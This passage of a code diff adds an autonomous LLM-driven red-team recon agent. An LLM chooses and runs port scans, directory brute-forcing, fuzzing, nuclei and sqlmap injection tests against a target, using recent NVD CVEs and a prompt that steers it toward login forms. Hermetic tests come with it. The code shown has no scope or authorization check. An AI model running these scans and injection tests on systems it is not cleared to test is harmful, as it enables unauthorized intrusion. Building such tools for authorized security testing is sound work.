katana_crawl, + gobuster_scan, + dirsearch_scan, + gau_scan, + ffuf_scan, +] +# httpx_probe is intentionally excluded: the Python `httpx` package ships a +# CLI with the same binary name, which shadows ProjectDiscovery's httpx in +# any venv that has `pip install httpx`. Re-add once PD httpx is resolvable. diff --git a/red_agent/scanner/cve_fetcher.py b/red_agent/scanner/cve_fetcher.py new file mode 100644 index 000000000..58b9116d9 --- /dev/null +++ b/red_agent/scanner/cve_fetcher.py @@ -0,0 +1,129 @@ +"""Autonomous CVE intelligence fetcher (NVD API, no key required).""" + +from __future__ import annotations + +import asyncio +import logging +from datetime import datetime, timedelta, timezone +from typing import Any + +import httpx + +logger = logging.getLogger(__name__) + +_CVE_KEYWORDS = ( + "cve", + "vulnerability", + "vuln", + "exploit", + "rce", + "sqli", + "xss", + "lfi", + "rfi", + "ssrf", + "critical", + "advisory", + "0day", + "zero-day", + "zeroday", + "patch", + "disclosed", + "threat", +) + + +class CVEFetcher: + """Fetches latest CVEs from NVD API. Never raises.""" + + NVD_URL = "https://services.nvd.nist.gov/rest/json/cves/2.0" + + def __init__(self, timeout: float = 10.0) -> None: + self._timeout = timeout + + async def fetch_recent( + self, + hours_back: int = 24, + severity: str = "CRITICAL", + max_results: int = 5, + ) -> list[dict]: + """Return recent CVEs as normalized dicts. Empty list on any error.""" + now = datetime.now(timezone.utc) + params = { + "pubStartDate": (now - timedelta(hours=hours_back)).strftime( + "%Y-%m-%dT%H:%M:%S.000" + ), + "pubEndDate": now.strftime("%Y-%m-%dT%H:%M:%S.000"), + "cvssV3Severity": severity, + "resultsPerPage": max_results, + } + + for attempt in (1, 2): + try: + async with httpx.AsyncClient(timeout=self._timeout) as client: + resp = await client.get(self.NVD_URL, params=params) + if resp.status_code == 429 and attempt == 1: + logger.warning("[CVEFetcher] NVD rate-limited, retrying in 6s") + await asyncio.sleep(6) + continue + if resp.status_code != 200: + logger.warning("[CVEFetcher] NVD status %s", resp.status_code) + return [] + payload = resp.json() + items = payload.get("vulnerabilities", []) or [] + return [self._extract(item) for item in items[:max_results]] + except Exception as exc: # noqa: BLE001 + logger.warning("[CVEFetcher] fetch failed (%s): %s", attempt, exc) + if attempt == 1: + await asyncio.sleep(2) + continue + return [] + return [] + + def _is_cve_context(self, context: str | None) -> bool: + if not context: + return False + lowered = context.lower() + return any(kw in lowered for kw in _CVE_KEYWORDS) + + def _extract(self, raw: dict[str, Any]) -> dict: + cve = raw.get("cve", raw) or {} + cve_id = cve.get("id", "UNKNOWN") + + description = "" + for desc in cve.get("descriptions", []) or []: + if desc.get("lang") == "en": + description = (desc.get("value") or "")[:150] + break + + score = 0.0 + metrics = cve.get("metrics", {}) or {} + for key in ("cvssMetricV31", "cvssMetricV30", "cvssMetricV2"): + entries = metrics.get(key) or [] + if entries: + data = entries[0].get("cvssData") or {} + score = float(data.get("baseScore") or 0.0) + break + + products: list[str] = [] + for cfg in cve.get("configurations", []) or []: + for node in cfg.get("nodes", []) or []: + for match in node.get("cpeMatch", []) or []: + criteria = match.get("criteria", "") + if criteria: + parts = criteria.split(":") + if len(parts) >= 6: + products.append(f"{parts[3]}:{parts[4]}:{parts[5]}") + if len(products) >= 5: + break + if len(products) >= 5: + break + if len(products) >= 5: + break + + return { + "id": cve_id, + "description": description, + "cvss_score": score, + "affected_products": products, + } diff --git a/red_agent/scanner/recon_agent.py b/red_agent/scanner/recon_agent.py new file mode 100644 index 000000000..ec91cf0f4 --- /dev/null +++ b/red_agent/scanner/recon_agent.py @@ -0,0 +1,828 @@ +"""Autonomous Red Team Recon Agent β€” Groq function-calling agent loop. + +Architecture (same pattern as PentAGI) +-------------------------------------- +1. Fetch CVE intel (NVD) if context warrants it. +2. Agent loop (Groq SDK with function calling): + - LLM receives target + CVE context + - LLM DECIDES which tool to call (not hardcoded) + - Tool executes, result fed back to LLM + - LLM decides next tool or produces final assessment + - Max 4 iterations to stay within free-tier token budget +3. Incremental updates pushed to session store (live polling). +4. Final ReconResult published via EventBus β†’ Blue Agent notified. + +The LLM is the BRAIN β€” it picks tools based on what it discovers. +E.g., if a CVE targets Apache, the LLM will run nmap first, see Apache +is running, then run nuclei with relevant templates. It won't waste time +on gobuster if the CVE is about SSH. +""" + +from __future__ import annotations + +import asyncio +import json +import logging +import os +from dataclasses import asdict, dataclass, field +from datetime import datetime, timezone +from typing import Any, Awaitable, Callable, Optional +from urllib.parse import urlparse + +import httpx +from dotenv import load_dotenv + +from core.event_bus import event_bus +from red_agent.scanner.cve_fetcher import CVEFetcher + +load_dotenv() +logger = logging.getLogger(__name__) + +MAX_AGENT_ITERATIONS = int(os.getenv("MAX_AGENT_ITERATIONS", "5")) + + +def utc_now() -> str: + return datetime.now(timezone.utc).isoformat() + + +def generate_session_id() -> str: + return datetime.now(timezone.utc).strftime("recon_%Y%m%d_%H%M%S_%f") + + +def _host_only(target: str) -> str: + if "://" in target: + parsed = urlparse(target) + return parsed.hostname or target + return target.split("/", 1)[0] + + +# ---------- Result dataclass ------------------------------------------------ + +@dataclass +class ReconResult: + session_id: str + target: str + context: str + status: str + cves_fetched: int + attack_vectors: list[dict] + tech_stack: list[str] + open_ports: list[int] + risk_score: float + recommended_exploits: list[str] + raw_crew_output: str + duration_seconds: float + tools_run: list[str] = field(default_factory=list) + error: Optional[str] = None + timestamp: str = field(default_factory=utc_now) + + def to_dict(self) -> dict: + return asdict(self) + + +# ---------- Tool registry for function calling ------------------------------ + +def _find_wordlist() -> str | None: + """Find the best available wordlist β€” prefer Kali native ones.""" + candidates = [ + "/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt", # Kali (23k words) + "/usr/share/wordlists/dirb/common.txt", # Kali (4.6k words) + "/usr/share/seclists/Discovery/Web-Content/common.txt", # SecLists + os.path.join( + os.path.dirname(os.path.dirname(os.path.dirname(os.path.abspath(__file__)))), + "wordlists", "common.txt", + ), # project-local fallback + ] + for path in candidates: + if os.path.isfile(path): + return path + return None + + +_WORDLIST_PATH = _find_wordlist() + + +def _get_available_tools() -> list[str]: + """Return names of Arsenal tools that are actually installed.""" + import shutil + available = [] + try: + from red_agent.red_arsenal.config import TOOLS + for name in ("nmap", "nuclei", "katana", "gobuster", "gau", "ffuf"): + if TOOLS.get(name) and TOOLS[name].installed: + available.append(name) + except Exception: + pass + # sqlmap is not in red_arsenal config but is standard on Kali + if shutil.which("sqlmap"): + available.append("sqlmap") + return available + + +# Groq function-calling tool schemas +def _build_tool_schemas(available: list[str]) -> list[dict]: + all_schemas = { + "nmap_scan": { + "type": "function", + "function": { + "name": "nmap_scan", + "description": "Run nmap service/version scan. Use FIRST to discover open ports and services. Input: hostname or IP (no http://).", + "parameters": { + "type": "object", + "properties": { + "target": {"type": "string", "description": "Hostname or IP to scan"}, + "ports": {"type": "string", "description": "Port range, e.g. '22,80,443,8080,8888' or '1-1000'", "default": "22,80,443,3306,5432,8000,8080,8443,8888,9090"}, + }, + "required": ["target"], + }, + }, + }, + "nuclei_scan": { + "type": "function", + "function": { + "name": "nuclei_scan", + "description": "Run nuclei vulnerability scanner with 4000+ templates. Use after nmap finds a web service. Detects CVEs, misconfigs, exposed panels.", + "parameters": { + "type": "object", + "properties": { + "target": {"type": "string", "description": "Full URL, e.g. http://192.168.1.1:8080"}, + "severity": {"type": "string", "description": "Severity filter", "default": "critical,high"}, + }, + "required": ["target"], + }, + }, + }, + "gobuster_scan": { + "type": "function", + "function": { + "name": "gobuster_scan", + "description": "Brute-force directories and files on a web server. Use when port 80/443/8080 is open.", + "parameters": { + "type": "object", + "properties": { + "target": {"type": "string", "description": "Full URL with port"}, + }, + "required": ["target"], + }, + }, + }, + "ffuf_scan": { + "type": "function", + "function": { + "name": "ffuf_scan", + "description": "Fast web fuzzer for hidden endpoints and parameters. Use on web servers.", + "parameters": { + "type": "object", + "properties": { + "target": {"type": "string", "description": "Base URL"}, + }, + "required": ["target"], + }, + }, + }, + "katana_crawl": { + "type": "function", + "function": { + "name": "katana_crawl", + "description": "Headless web crawler. Discovers JS endpoints, forms, and site structure.", + "parameters": { + "type": "object", + "properties": { + "target": {"type": "string", "description": "URL to crawl"}, + }, + "required": ["target"], + }, + }, + }, + "gau_scan": { + "type": "function", + "function": { + "name": "gau_scan", + "description": "Fetch historical URLs from Wayback Machine and OTX. Use for passive recon on domains.", + "parameters": { + "type": "object", + "properties": { + "target": {"type": "string", "description": "Domain name"}, + }, + "required": ["target"], + }, + }, + }, + "sqlmap_scan": { + "type": "function", + "function": { + "name": "sqlmap_scan", + "description": "Test a URL for SQL injection vulnerabilities. Use when you find a login page, form, or URL with parameters (e.g. ?id=1). Automatically detects SQLi, extracts DB info.", + "parameters": { + "type": "object", + "properties": { + "target": {"type": "string", "description": "URL with parameter to test, e.g. http://target/login.php or http://target/page?id=1"}, + "forms": {"type": "boolean", "description": "Auto-detect and test HTML forms (login pages)", "default": True}, + }, + "required": ["target"], + }, + }, + }, + "submit_assessment": { + "type": "function", + "function": { + "name": "submit_assessment", + "description": "Submit your final security assessment. Call this when you have enough data OR after using 3 tools.", + "parameters": { + "type": "object", + "properties": { + "attack_vectors": { + "type": "array", + "items": { + "type": "object", + "properties": { + "path": {"type": "string"}, + "type": {"type": "string"}, + "priority": {"type": "string", "enum": ["low", "medium", "high", "critical"]}, + "evidence": {"type": "string"}, + "mitre_technique": {"type": "string"}, + "recommended_tool": {"type": "string"}, + }, + }, + }, + "tech_stack": {"type": "array", "items": {"type": "string"}}, + "open_ports": {"type": "array", "items": {"type": "integer"}}, + "risk_score": {"type": "number"}, + "recommended_exploits": {"type": "array", "items": {"type": "string"}}, + }, + "required": ["attack_vectors", "tech_stack", "open_ports", "risk_score"], + }, + }, + }, + } + + # Tool name mapping: schema name β†’ arsenal name + tool_map = { + "nmap_scan": "nmap", "nuclei_scan": "nuclei", "katana_crawl": "katana", + "gobuster_scan": "gobuster", "gau_scan": "gau", "ffuf_scan": "ffuf", + "sqlmap_scan": "sqlmap", + } + + schemas = [] + for schema_name, schema in all_schemas.items(): + arsenal_name = tool_map.get(schema_name) + if arsenal_name is None or arsenal_name in available: + schemas.append(schema) + return schemas + + +# ---------- Tool execution -------------------------------------------------- + +async def _run_arsenal_tool(name: str, args: dict, timeout: float) -> dict: + """Execute a single Arsenal tool and return its parsed result.""" + try: + from red_agent.red_arsenal.config import TOOLS + from red_agent.red_arsenal.tools import api as api_tools + from red_agent.red_arsenal.tools import recon as recon_tools + from red_agent.red_arsenal.runner import run as run_cmd + from red_agent.red_arsenal import parsers + + target = args.get("target", "") + wordlist = _WORDLIST_PATH if os.path.isfile(_WORDLIST_PATH) else None + + if name == "nmap_scan": + host = _host_only(target) + ports = args.get("ports", "22,80,443,3306,5432,8000,8080,8443,8888,9090") + result = await asyncio.wait_for( + recon_tools.nmap_impl(host, scan_type="-sV -sC -Pn", ports=ports), + timeout=timeout, + ) + findings = result.get("findings") or [] + result["findings"] = [f for f in findings if isinstance(f, dict) and f.get("state") == "open"] + return result + + elif name == "nuclei_scan": + severity = args.get("severity", "critical,high") + return await asyncio.wait_for( + recon_tools.nuclei_impl(target, severity=severity), + timeout=timeout, + ) + + elif name == "gobuster_scan": + if wordlist: + binary = TOOLS["gobuster"].resolve() + cmd = [binary, "dir", "-u", target, "-w", wordlist, "-x", "php,html,js,txt,py,asp,aspx,jsp", "-q", "--no-error"] + raw = await asyncio.wait_for(run_cmd(cmd, timeout=TOOLS["gobuster"].default_timeout), timeout=timeout) + return parsers.parse_gobuster(raw, target) + return await asyncio.wait_for(recon_tools.gobuster_impl(target), timeout=timeout) + + elif name == "ffuf_scan": + if wordlist: + import tempfile + binary = TOOLS["ffuf"].resolve() + tmpf = tempfile.NamedTemporaryFile(prefix="ffuf-", suffix=".json", delete=False) + tmpf.close() + fuzz_url = target.rstrip("/") + "/FUZZ" + cmd = [binary, "-u", fuzz_url, "-w", wordlist, "-of", "json", "-o", tmpf.name, + "-mc", "200,204,301,302,307,401,403", "-s"] + raw = await asyncio.wait_for(run_cmd(cmd, timeout=TOOLS["ffuf"].default_timeout), timeout=timeout) + try: + with open(tmpf.name) as f: + data = json.load(f) + parsed = parsers._base("ffuf", target, raw) + for row in data.get("results") or []: + parsed["findings"].append({"url": row.get("url"), "status": row.get("status"), "length": row.get("length")}) + return parsed + except Exception: + return parsers.parse_ffuf(raw, target) + finally: + os.unlink(tmpf.name) + return await asyncio.wait_for(api_tools.ffuf_impl(target), timeout=timeout) + + elif name == "katana_crawl": + return await asyncio.wait_for(recon_tools.katana_impl(target), timeout=timeout) + + elif name == "gau_scan": + host = _host_only(target) + return await asyncio.wait_for(recon_tools.gau_impl(host), timeout=timeout) + + elif name == "sqlmap_scan": + return await asyncio.wait_for( + _run_sqlmap(target, args.get("forms", True), run_cmd), + timeout=timeout, + ) + + else: + return {"tool": name, "ok": False, "error": f"unknown tool {name}", "findings": []} + + except asyncio.TimeoutError: + return {"tool": name, "ok": False, "error": f"timeout after {timeout}s", "findings": []} + except asyncio.CancelledError: + return {"tool": name, "ok": False, "error": "cancelled", "findings": []} + except Exception as exc: + return {"tool": name, "ok": False, "error": f"{type(exc).__name__}: {str(exc)[:150]}", "findings": []} + + +async def _run_sqlmap(target: str, forms: bool, run_cmd) -> dict: + """Run sqlmap in detection mode β€” finds SQLi without exploiting.""" + import shutil + binary = shutil.which("sqlmap") + if not binary: + return {"tool": "sqlmap", "ok": False, "error": "sqlmap not installed", "findings": []} + + cmd = [ + binary, "-u", target, + "--batch", + "--level=2", + "--risk=2", + "--smart", + "--output-dir=/tmp/sqlmap-output", + ] + if forms: + cmd.append("--forms") + cmd.extend(["--threads=4", "--timeout=30"]) + + raw = await run_cmd(cmd, timeout=180) + text = raw.text_out() + + findings: list[dict] = [] + injectable = False + current_param = "" + + for line in text.splitlines(): + line = line.strip() + if "is vulnerable" in line.lower() or "injectable" in line.lower(): + injectable = True + findings.append({ + "type": "sqli_confirmed", + "evidence": line[:200], + "vulnerable": True, + }) + elif "Parameter:" in line: + current_param = line.split("Parameter:")[-1].strip() + elif "Type:" in line and current_param: + sqli_type = line.split("Type:")[-1].strip() + findings.append({ + "type": "sqli_detail", + "parameter": current_param, + "sqli_type": sqli_type, + }) + elif "back-end DBMS" in line.lower(): + findings.append({ + "type": "dbms_detected", + "evidence": line[:150], + }) + elif "available databases" in line.lower() or "[*]" in line: + if line.startswith("[*]"): + findings.append({"type": "database", "name": line.replace("[*]", "").strip()}) + + return { + "tool": "sqlmap", + "target": target, + "ok": raw.ok or injectable, + "duration_s": raw.duration_s, + "findings": findings, + "raw_tail": text[-500:] if text else "", + "error": None if (raw.ok or injectable) else raw.text_err()[-200:], + } + + +def _compact_tool_result(result: dict) -> str: + """Compact a tool result for the LLM context β€” keep under 300 chars.""" + findings = result.get("findings") or [] + summary = { + "tool": result.get("tool"), + "ok": result.get("ok"), + "count": len(findings), + "findings": findings[:8], + } + err = result.get("error") + if err: + summary["error"] = str(err)[:80] + text = json.dumps(summary, default=str) + return text[:400] + + +# ---------- Agent system prompt --------------------------------------------- + +_AGENT_SYSTEM_PROMPT = """You are an autonomous Red Team Recon Agent. Your job is to discover attack surfaces on the given target. + +WORKFLOW: +1. Always start with nmap_scan to discover open ports and services. +2. If web server found (port 80/443/5000/8080/8888): + - Run gobuster_scan to discover pages and directories + - If login page or forms found β†’ run sqlmap_scan to test for SQL injection + - Run nuclei_scan LAST β€” it benefits from knowing discovered endpoints +3. If only SSH found β†’ skip web tools, submit assessment. +4. After running 3-4 tools total, call submit_assessment. + +TOOL ORDER (important): + nmap β†’ gobuster/ffuf (find pages) β†’ sqlmap (test forms) β†’ nuclei (LAST) + Nuclei should always be the LAST tool you call. + +IMPORTANT for SQL injection targets: +- If context mentions SQL injection, your priority is: nmap β†’ gobuster (find /login) β†’ sqlmap (test it) +- sqlmap will automatically detect injectable parameters and report the DBMS type +- Report each SQLi finding as a critical attack_vector with mitre_technique T1190 + +RULES: +- NEVER call the same tool twice. +- If a tool returns an error or "unavailable", skip it and try another. +- Base your assessment ONLY on real tool output. Never invent findings. +- Call submit_assessment when you have enough data OR after 3 tool calls. +- Every attack_vector MUST have a non-empty mitre_technique and recommended_tool. +- If no real vulnerabilities found, submit empty attack_vectors with risk_score 0.0. +""" + + +# ---------- Main agent with function-calling loop --------------------------- + +class ReconAgent: + """Groq function-calling agent β€” LLM decides which tools to run.""" + + def __init__(self, target: str, context: str | None = None) -> None: + self.target = target + self.context = context or "general security assessment" + self.session_id = generate_session_id() + self.fetcher = CVEFetcher() + self._start_monotonic: float | None = None + self._tool_timeout = float(os.getenv("RECON_TOOL_TIMEOUT", "180")) + + async def run(self) -> ReconResult: + self._start_monotonic = asyncio.get_event_loop().time() + logger.info("[ReconAgent:%s] starting on %s", self.session_id, self.target) + + await event_bus.publish( + "recon.started", + {"session_id": self.session_id, "target": self.target, "timestamp": utc_now()}, + ) + + cves: list[dict] = [] + tool_outputs: list[dict] = [] + try: + cves = await self._fetch_intel() + assessment, tool_outputs = await self._agent_loop(cves) + + result = self._build_result(assessment, cves, tool_outputs, "complete") + + await event_bus.publish("recon.complete", result.to_dict()) + await self._notify_blue_agent(result) + + logger.info( + "[ReconAgent:%s] complete tools=%s vectors=%d risk=%s", + self.session_id, result.tools_run, + len(result.attack_vectors), result.risk_score, + ) + return result + + except Exception as exc: + logger.exception("[ReconAgent:%s] failed", self.session_id) + await event_bus.publish( + "recon.failed", {"session_id": self.session_id, "error": str(exc)}, + ) + return self._build_result("{}", cves, tool_outputs, "failed", error=str(exc)) + + async def _fetch_intel(self) -> list[dict]: + if not self.fetcher._is_cve_context(self.context): + logger.info("[ReconAgent:%s] general recon mode", self.session_id) + return [] + + logger.info("[ReconAgent:%s] fetching NVD CVEs", self.session_id) + cves = await self.fetcher.fetch_recent() + logger.info("[ReconAgent:%s] %d CVEs fetched", self.session_id, len(cves)) + await event_bus.publish( + "recon.cve_fetched", + {"session_id": self.session_id, "cve_count": len(cves), "cves": cves}, + ) + return cves + + async def _agent_loop(self, cves: list[dict]) -> tuple[str, list[dict]]: + """Core agent loop: LLM decides tools via function calling.""" + from groq import AsyncGroq + + available_tools = _get_available_tools() + tool_schemas = _build_tool_schemas(available_tools) + + logger.info( + "[ReconAgent:%s] available tools: %s", + self.session_id, available_tools, + ) + + cve_context = "" + if cves: + cve_context = f"\n\nCVE Intelligence:\n{json.dumps(cves[:5], indent=2)}" + + messages = [ + {"role": "system", "content": _AGENT_SYSTEM_PROMPT}, + {"role": "user", "content": ( + f"Target: {self.target}\n" + f"Context: {self.context}\n" + f"Available tools: {', '.join(available_tools)}" + f"{cve_context}" + )}, + ] + + model = os.getenv("GROQ_MODEL", "llama-3.3-70b-versatile") + if model.startswith("groq/"): + model = model.split("/", 1)[1] + + client = AsyncGroq(api_key=os.getenv("GROQ_API_KEY"), timeout=60.0) + tool_outputs: list[dict] = [] + tools_called: set[str] = set() + final_assessment = "{}" + + for iteration in range(MAX_AGENT_ITERATIONS): + logger.info( + "[ReconAgent:%s] agent iteration %d/%d", + self.session_id, iteration + 1, MAX_AGENT_ITERATIONS, + ) + + resp = await client.chat.completions.create( + model=model, + temperature=0, + max_tokens=2048, + messages=messages, + tools=tool_schemas, + tool_choice="auto", + ) + + choice = resp.choices[0] + message = choice.message + + # Add assistant message to history + messages.append(message.model_dump(exclude_none=True)) + + # No tool calls β†’ LLM is done, extract final text + if not message.tool_calls: + logger.info("[ReconAgent:%s] agent finished (no more tool calls)", self.session_id) + final_assessment = message.content or "{}" + break + + # Process each tool call + for tool_call in message.tool_calls: + fn_name = tool_call.function.name + try: + fn_args = json.loads(tool_call.function.arguments) + except json.JSONDecodeError: + fn_args = {} + + logger.info( + "[ReconAgent:%s] LLM decided: %s(%s)", + self.session_id, fn_name, json.dumps(fn_args)[:100], + ) + + # Handle submit_assessment (final answer) + if fn_name == "submit_assessment": + logger.info("[ReconAgent:%s] agent submitted assessment", self.session_id) + final_assessment = json.dumps(fn_args) + messages.append({ + "role": "tool", + "tool_call_id": tool_call.id, + "content": "Assessment received.", + }) + return final_assessment, tool_outputs + + # Prevent duplicate tool calls + if fn_name in tools_called: + messages.append({ + "role": "tool", + "tool_call_id": tool_call.id, + "content": f"Already called {fn_name}. Pick a different tool or call submit_assessment.", + }) + continue + + tools_called.add(fn_name) + + # Execute the tool + result = await _run_arsenal_tool(fn_name, fn_args, self._tool_timeout) + tool_outputs.append(result) + + tool_name = result.get("tool") or fn_name + findings_count = len(result.get("findings") or []) + logger.info( + "[ReconAgent:%s] tool=%s ok=%s findings=%d", + self.session_id, tool_name, result.get("ok"), findings_count, + ) + + await event_bus.publish( + "recon.tool_done", + { + "session_id": self.session_id, + "tool": tool_name, + "ok": result.get("ok"), + "finding_count": findings_count, + }, + ) + + # Update session with partial results + self._update_session_partial(tool_outputs) + + # Feed result back to LLM + compact = _compact_tool_result(result) + messages.append({ + "role": "tool", + "tool_call_id": tool_call.id, + "content": compact, + }) + + return final_assessment, tool_outputs + + def _update_session_partial(self, tool_outputs: list[dict]) -> None: + duration = ( + asyncio.get_event_loop().time() - self._start_monotonic + if self._start_monotonic is not None + else 0.0 + ) + + open_ports: list[int] = [] + tech_stack: list[str] = [] + tools_run: list[str] = [] + all_findings_count = 0 + + for out in tool_outputs: + tools_run.append(out.get("tool") or "unknown") + for f in out.get("findings") or []: + if not isinstance(f, dict): + continue + all_findings_count += 1 + if f.get("state") == "open" and f.get("port"): + try: + open_ports.append(int(f["port"])) + except (TypeError, ValueError): + pass + svc = " ".join(filter(None, [f.get("product"), f.get("version")])) + if svc and svc not in tech_stack: + tech_stack.append(svc) + + partial = ReconResult( + session_id=self.session_id, + target=self.target, + context=self.context, + status="running", + cves_fetched=0, + attack_vectors=[], + tech_stack=tech_stack, + open_ports=open_ports, + risk_score=0.0, + recommended_exploits=[], + raw_crew_output=f"Agent thinking... {all_findings_count} findings from {len(tools_run)} tools", + duration_seconds=round(duration, 2), + tools_run=tools_run, + ) + _sessions[self.session_id] = partial + + def _build_result( + self, assessment: str, cves: list[dict], + tool_outputs: list[dict], status: str, error: str | None = None, + ) -> ReconResult: + duration = ( + asyncio.get_event_loop().time() - self._start_monotonic + if self._start_monotonic is not None + else 0.0 + ) + intelligence = self._extract_json(assessment) + + raw_vectors = intelligence.get("attack_vectors", []) or [] + vectors = [ + v for v in raw_vectors + if isinstance(v, dict) and any(str(x).strip() for x in v.values()) + ] + + raw_ports = intelligence.get("open_ports", []) or [] + ports: list[int] = [] + for p in raw_ports: + try: + ports.append(int(p)) + except (TypeError, ValueError): + continue + + tools_run = [out.get("tool") or "unknown" for out in tool_outputs] + + return ReconResult( + session_id=self.session_id, + target=self.target, + context=self.context, + status=status, + cves_fetched=len(cves), + attack_vectors=vectors, + tech_stack=intelligence.get("tech_stack", []) or [], + open_ports=ports, + risk_score=float(intelligence.get("risk_score", 0.0) or 0.0), + recommended_exploits=intelligence.get("recommended_exploits", []) or [], + raw_crew_output=(assessment or "")[:1500], + duration_seconds=round(duration, 2), + tools_run=tools_run, + error=error, + ) + + def _extract_json(self, text: str) -> dict: + if not text: + return {} + try: + return json.loads(text) + except Exception: + pass + try: + cleaned = text.replace("```json", "").replace("```", "").strip() + return json.loads(cleaned) + except Exception: + pass + try: + start = text.find("{") + end = text.rfind("}") + 1 + if 0 <= start < end: + return json.loads(text[start:end]) + except Exception: + pass + logger.warning("[ReconAgent:%s] could not parse assessment as JSON", self.session_id) + return {} + + async def _notify_blue_agent(self, result: ReconResult) -> None: + blue_port = os.getenv("BLUE_AGENT_PORT", "8002") + url = f"http://localhost:{blue_port}/defense/threat-intel" + try: + async with httpx.AsyncClient(timeout=10) as client: + await client.post(url, json=result.to_dict()) + logger.info("[ReconAgent:%s] blue agent notified", self.session_id) + except Exception as exc: + logger.warning("[ReconAgent:%s] blue notify failed: %s", self.session_id, exc) + + +# ---------- In-memory session store ----------------------------------------- + +_sessions: dict[str, ReconResult | None] = {} + + +async def run_recon_session(target: str, context: str | None = None) -> str: + agent = ReconAgent(target, context) + session_id = agent.session_id + _sessions[session_id] = None + + async def _runner() -> None: + try: + result = await agent.run() + except Exception as exc: + logger.exception("[run_recon_session] runner crashed") + result = ReconResult( + session_id=session_id, target=target, context=context or "", + status="failed", cves_fetched=0, attack_vectors=[], tech_stack=[], + open_ports=[], risk_score=0.0, recommended_exploits=[], + raw_crew_output="", duration_seconds=0.0, tools_run=[], error=str(exc), + ) + _sessions[session_id] = result + + asyncio.create_task(_runner()) + return session_id + + +def get_session_result(session_id: str) -> ReconResult | None: + return _sessions.get(session_id) + + +def has_session(session_id: str) -> bool: + return session_id in _sessions + + +def list_sessions() -> list[dict]: + out: list[dict] = [] + for sid, r in _sessions.items(): + if r is None: + out.append({"session_id": sid, "status": "running", "target": None, "risk_score": 0.0}) + else: + out.append({"session_id": sid, "status": r.status, "target": r.target, "risk_score": r.risk_score}) + return out diff --git a/tests/test_red/test_recon_agent.py b/tests/test_red/test_recon_agent.py new file mode 100644 index 000000000..65a318f25 --- /dev/null +++ b/tests/test_red/test_recon_agent.py @@ -0,0 +1,248 @@ +"""Tests for the autonomous Red Team recon agent. + +All external dependencies (NVD, CrewAI, the arsenal impls, the Blue agent +HTTP endpoint) are mocked so these tests are hermetic and fast. +""" + +from __future__ import annotations + +import asyncio +import json +from types import SimpleNamespace +from unittest.mock import AsyncMock, MagicMock, patch + +import pytest + +from red_agent.scanner.cve_fetcher import CVEFetcher +from red_agent.scanner.recon_agent import ReconAgent, ReconResult + + +# ---------- helpers --------------------------------------------------------- + +def _run(coro): + return asyncio.get_event_loop().run_until_complete(coro) + + +@pytest.fixture +def fresh_loop(): + loop = asyncio.new_event_loop() + asyncio.set_event_loop(loop) + try: + yield loop + finally: + loop.close() + + +# ---------- 1. CVE fetcher structure ---------------------------------------- + +def test_cve_fetcher_returns_structured(fresh_loop): + fake_payload = { + "vulnerabilities": [ + { + "cve": { + "id": "CVE-2024-12345", + "descriptions": [ + {"lang": "en", "value": "X" * 400} + ], + "metrics": { + "cvssMetricV31": [ + {"cvssData": {"baseScore": 9.8}} + ] + }, + "configurations": [ + { + "nodes": [ + { + "cpeMatch": [ + { + "criteria": ( + "cpe:2.3:a:apache:httpd:2.4.49:*:*:*" + ) + } + ] + } + ] + } + ], + } + } + ] + } + + fake_resp = SimpleNamespace(status_code=200, json=lambda: fake_payload) + + class _DummyClient: + def __init__(self, *a, **kw): + pass + + async def __aenter__(self): + return self + + async def __aexit__(self, *a): + return False + + async def get(self, url, params=None): + return fake_resp + + with patch("red_agent.scanner.cve_fetcher.httpx.AsyncClient", _DummyClient): + fetcher = CVEFetcher() + result = fresh_loop.run_until_complete(fetcher.fetch_recent()) + + assert len(result) == 1 + item = result[0] + assert item["id"] == "CVE-2024-12345" + assert len(item["description"]) <= 150 + assert item["cvss_score"] == 9.8 + assert any("apache" in p for p in item["affected_products"]) + + +# ---------- 2. CVE context detection ---------------------------------------- + +def test_cve_context_detection(): + fetcher = CVEFetcher() + assert fetcher._is_cve_context("CVE-2024-1234 dropped") is True + assert fetcher._is_cve_context("scan this website") is False + assert fetcher._is_cve_context("critical rce in apache") is True + assert fetcher._is_cve_context(None) is False + assert fetcher._is_cve_context("") is False + + +# ---------- 3. Arsenal tool wrapper calls underlying impl ------------------- + +def test_arsenal_tool_calls_existing_impl(fresh_loop): + from red_agent.scanner import arsenal_tools + + fake_result = { + "tool": "nmap", + "ok": True, + "duration_s": 1.23, + "findings": [{"port": 80, "service": "http"}], + "error": None, + } + + async def fake_nmap_impl(target, *a, **kw): + # nmap_scan strips the URL scheme before invoking the impl + assert target == "target.com" + return fake_result + + fake_recon = SimpleNamespace(nmap_impl=fake_nmap_impl) + fake_api = SimpleNamespace() + + # When crewai is installed, @tool returns a Tool object β€” call the + # underlying callable via .func. When it isn't, the fallback decorator + # leaves the plain function in place. + nmap_callable = getattr(arsenal_tools.nmap_scan, "func", arsenal_tools.nmap_scan) + + with patch.object( + arsenal_tools, "_load_impls", return_value=(fake_recon, fake_api) + ): + out = nmap_callable("http://target.com") + + assert isinstance(out, str) + assert len(out) <= arsenal_tools.MAX_TOOL_OUTPUT_CHARS + assert "nmap" in out + assert '"count"' in out + + +# ---------- 4. ReconAgent.run() returns ReconResult ------------------------- + +def test_recon_agent_run_returns_result(fresh_loop): + agent = ReconAgent("http://localhost", "general scan") + + json_payload = json.dumps( + { + "attack_vectors": [ + { + "path": "/", + "type": "info", + "priority": "low", + "evidence": "open", + "mitre_technique": "T1595", + "recommended_tool": "nmap", + } + ], + "tech_stack": ["nginx"], + "open_ports": [80], + "waf_detected": False, + "subdomains": [], + "risk_score": 4.2, + "recommended_exploits": ["nmap"], + } + ) + + fake_tool_outputs = [ + { + "tool": "nmap", + "ok": True, + "duration_s": 1.0, + "findings": [{"port": 80, "state": "open", "service": "http"}], + } + ] + + async def fake_agent_loop(self_, cves): + return json_payload, fake_tool_outputs + + async def fake_notify_blue(self_, result): + return None + + with patch.object( + CVEFetcher, "fetch_recent", new=AsyncMock(return_value=[]) + ), patch.object( + ReconAgent, "_agent_loop", new=fake_agent_loop + ), patch.object( + ReconAgent, "_notify_blue_agent", new=fake_notify_blue + ): + result = fresh_loop.run_until_complete(agent.run()) + + assert isinstance(result, ReconResult) + assert result.status == "complete" + assert result.session_id.startswith("recon_") + assert result.risk_score == 4.2 + assert len(result.attack_vectors) == 1 + assert "nginx" in result.tech_stack + assert result.tools_run == ["nmap"] + + +# ---------- 5. Agent handles synthesis failure gracefully ------------------ + +def test_recon_agent_handles_crew_failure(fresh_loop): + agent = ReconAgent("http://localhost") + + async def boom(self_, cves): + raise RuntimeError("groq exploded") + + async def fake_notify(self_, result): + return None + + with patch.object( + ReconAgent, "_agent_loop", new=boom + 